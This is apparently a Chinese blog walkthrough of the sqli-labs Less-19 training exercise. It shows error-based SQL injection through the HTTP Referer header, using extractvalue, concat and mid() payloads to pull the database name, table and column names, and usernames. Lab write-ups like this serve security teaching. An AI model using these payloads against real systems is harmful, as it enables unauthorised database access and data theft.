姿势
由代码审计可知,注入点为HTTP_REFERER,且注入类型为',注入语句)#
查库名
测试得到正确的用户名为admin,密码为1,抓包后修改referer为以下POC:
1',extractvalue(1,concat(0x23,database())))#
得到库名为security
查表名
1',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema = database()))))#
查列名
1',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'))))#
得到三个列
查数据
该姿势使用到mid函数,
我们以username列为例,利用mid()函数构造POC如下:
1',extractvalue(1,concat(0x23,mid((select group_concat(username) from users),1,32))))#
接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:
POC如下:
1',extractvalue(1,concat(0x23,mid((select group_concat(username) from users),32,32))))#
同理即可得到所有的username
总结
以上为[网络安全]sqli-labs Less-19 解题详析,考察报错注入及mid函数的应用,后续将分享 [网络安全]sqli-labs Less-20 解题详析。
我是秋说,我们下次见。